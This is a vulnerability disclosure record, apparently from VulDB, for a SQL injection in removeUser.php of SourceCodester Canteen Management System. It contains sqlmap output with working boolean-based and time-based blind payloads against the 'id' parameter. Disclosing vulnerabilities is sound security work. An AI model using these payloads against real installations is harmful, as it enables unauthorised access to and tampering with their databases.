| Title | SourceCodester Canteen Management System removeUser.php sql injection |
|---|
| Description | SourceCodester Canteen Management System removeUser.php sql injection
url: youthappam/php_action/removeUser.php
Abstract:
Line 14 of removeUser.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
Data enters a program from an untrusted source.
The data is used to dynamically construct a SQL query.
In this case, the data is passed to query() in removeUser.php at line 14.
sqlmap identified the following injection point(s) with a total of 304 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: id=(SELECT (CASE WHEN (5974=5974) THEN 111 ELSE (SELECT 8956 UNION SELECT 5415) END))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=111 AND (SELECT 8669 FROM (SELECT(SLEEP(5)))iJMA) |
|---|
| Source | ⚠️ https://blog.csdn.net/weixin_43864034/article/details/128904906 |
|---|
| User | zxc65805735 (UID 40327) |
|---|
| Submission | 02/06/2023 10:23 (3 years ago) |
|---|
| Moderation | 02/06/2023 13:56 (4 hours later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 220220 [SourceCodester Canteen Management System 1.0 removeUser.php ID sql injection] |
|---|
| Points | 20 |
|---|